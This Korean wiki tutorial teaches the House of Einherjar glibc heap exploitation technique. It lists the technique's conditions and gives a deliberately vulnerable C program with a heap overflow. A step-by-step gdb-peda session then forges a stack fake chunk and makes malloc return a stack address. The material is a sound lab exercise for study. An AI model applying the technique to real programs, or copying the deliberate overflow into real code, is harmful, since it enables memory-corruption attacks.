Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List

Conditions

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 Heap을 생성,해제가 가능해야 합니다.
    • 공격자에 의해 Stack 영역에 Fake chunk를 생성 할 수 있어야 합니다.
    • 공격자에 의해 Allocated chunk의 size값에서 "prev_inuse" flag 값을 제거 할 수 있어야 합니다.
    • 공격자에 의해 변경된 Allocated chunk의 size값 앞 영역에 값을 저장할 수 있어야 합니다.
      • 저장될 값: "prev_inuse flag 값이 제거된 Heap 영역의 시작 주소" -  Heap header size(16/8) - FakeChunk address

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • Stack 영영에 Fake chunk(Free Chunk)를 생성합니다.

    • 3개의 Heap 영역을 할당 합니다.
    • 2번재 Heap 영역(Allocated Chunk)의 size 값에서 "prev_inuse" flag 값을 제거 합니다.
    • 2번재 Heap 영역(Allocated Chunk)의 prev_size 영역에 다음과 같은 값을 저장합니다.
      • 2번재 Heap 영역의 시작 주소 - Heap header size(16 or 8) - FakeChunk address
    • 2번재 Heap 영역을 해제 합니다.
      • 2번재 Heap 영역을 해제로 인해 Fake chunk의 size값이 변경됩니다.
    • Fake chunk의 size 값을 원하는 값으로 변경합니다.
    • 원하는 크기의 메모리 영역을 할당 합니다.
      • FakeChunk address + 0x10 영역을 할당 받습니다.

Example

Files

Source code

#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
int main()
{
	char fake_chunk[32];
	read(0,fake_chunk,32);

	char *buf1 = malloc(0x70);
	char *buf2 = malloc(0x100);
	char *buf3 = malloc(0x70);

	read(0,buf1,122);

	free(buf2);
	
	read(0,fake_chunk,16);
    char *buf4 = malloc(0x200);
}

Exploit flow

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x400653 : read(0,fake_chunk,32) 호출 후

    • 0x40068e : read(0,buf1,122) 호출 후

    • 0x40069f : free(buf2) 호출 후 

    • 0x4006b5 : read(0,fake_chunk,16) 호출 후
    • 0x4006bf : malloc(0x200) 호출 후

Break points
gdb-peda$ b *0x0000000000400653
Breakpoint 1 at 0x400653
gdb-peda$ b *0x000000000040068e
Breakpoint 2 at 0x40068e
gdb-peda$ b *0x000000000040069f
Breakpoint 3 at 0x40069f
gdb-peda$ b *0x00000000004006b5
Breakpoint 4 at 0x4006b5
gdb-peda$ b *0x00000000004006bf
Breakpoint 5 at 0x4006bf
gdb-peda$ 
  • 다음과 같이 Stack영역에 Fake Free chunk를 생성합니다.
    • size : 0x100
    • fwd, bck : 

      0x7fffffffe4a0

Create Fake chunk
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/houseOfEinherjar 
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD


Breakpoint 1, 0x0000000000400653 in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x4242424242424242
0x7fffffffe4b0:	0x4343434343434343	0x4444444444444444
gdb-peda$ set *0x7fffffffe4a8 = 0x100
gdb-peda$ set *0x7fffffffe4ac = 0x0
gdb-peda$ set *0x7fffffffe4b0 = 0x7fffffffe4a0
gdb-peda$ set *0x7fffffffe4b4 = 0x7fff
gdb-peda$ set *0x7fffffffe4b8 = 0x7fffffffe4a0
gdb-peda$ set *0x7fffffffe4bc = 0x7fff
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0000000000000100
0x7fffffffe4b0:	0x00007fffffffe4a0	0x00007fffffffe4a0
gdb-peda$ 
  • 다음과 같이 buf2 chunk의 prev_size, size값을 덮어씁니다.
    • 사용자 입력값으로 buf2의 prev_size, size영역을 덮어쓸 수 있습니다.
  • 공격을 위해 다음과 같이 변경합니다.
    • prev_size : buf2(0x602090) - Chunk header(16) - Fake free chunk(0x7fffffffe4a0) = 0xffff800000603be0
    • size : 0x111 - prev_inuse(0x1) = 0x110
Overwrite for Prev_size and Size area of Free chunk.
gdb-peda$ c
Continuing.


Breakpoint 2, 0x000000000040068e in main ()
gdb-peda$ x/68gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000111
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000081
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000020df1
gdb-peda$ ni
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

0x0000000000400693 in main ()
gdb-peda$ x/20gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4242424242424242	0x4242424242424242
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4242424242424242	0x4242424242424242
0x602040:	0x4242424242424242	0x4242424242424242
0x602050:	0x4242424242424242	0x4242424242424242
0x602060:	0x4242424242424242	0x4242424242424242
0x602070:	0x4242424242424242	0x4242424242424242
0x602080:	0x4242424242424242	0x0000000000004242
0x602090:	0x0000000000000000	0x0000000000000000
gdb-peda$ p/x 0x602090 - 16 - 0x7fffffffe4a0
$1 = 0xffff800000603be0
gdb-peda$ set *0x602080 = 0xffff800000603be0
gdb-peda$ set *0x602084 = 0xffff8000
gdb-peda$ set *0x602088 = 0x110
gdb-peda$ x/2gx 0x602080
0x602080:	0xffff800000603be0	0x0000000000000110
gdb-peda$
  • 다음과 같이 stack 영역을 unsorted bin에 등록 할 수 있습니다.
    • buf2 영역이 해제되면 Fake free chunk 영역이 Unsorted bin에 등록되는 이유는 다음과 같습니다.
      • buf2의 prev_inuse flag를 제거 했기 때문에 이전 Chunk가 없는 것으로 판단하게 됩니다.
      • buf2의 prev_size 영역에 값으로 인해 해당 영역이 free chunk로 판단하게 됩니다.
        • 0x602080 - 0xffff800000603be0 = 0x7fffffffe4a0
The stack area is registered in the unsorted Bin.
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040069f in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0xffff800000603cf1
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ x/68gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4242424242424242	0x4242424242424242
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4242424242424242	0x4242424242424242
0x602040:	0x4242424242424242	0x4242424242424242
0x602050:	0x4242424242424242	0x4242424242424242
0x602060:	0x4242424242424242	0x4242424242424242
0x602070:	0x4242424242424242	0x4242424242424242
0x602080:	0xffff800000603be0	0x0000000000000110
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0xffff800000603cf0	0x0000000000000080
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000020df1
gdb-peda$ p main_arena.bins[1]
$6 = (mchunkptr) 0x7fffffffe4a0
gdb-peda$
  • 다음과 같이 Stack 영역을 할당 받을 수 있습니다.
    • Fake free chunk의 size영역에 할당 받기 원하는 크기를 입력합니다.
      • free() 함수로 인해 Fake free chunk의 size영역에 값이 변경되었습니다.
    • malloc() 함수호출을 하면 "Fake free chunk + 0x10" 영역을 할당받습니다.
Allocated to Stack area.
gdb-peda$ c
Continuing.
AAAAAAAABBBBBBB

Breakpoint 4, 0x00000000004006b5 in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0a42424242424242
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ set *0x7fffffffe4a8 = 0x1000
gdb-peda$ set *0x7fffffffe4ac = 0x0
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0000000000001000
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ c
Continuing.

Breakpoint 5, 0x00000000004006bf in main ()
gdb-peda$ i r rax
$7 = 0x7fffffffe4b0
gdb-peda$ p main_arena.bins[1]
$8 = (mchunkptr) 0x7fffffffe6b0

Related information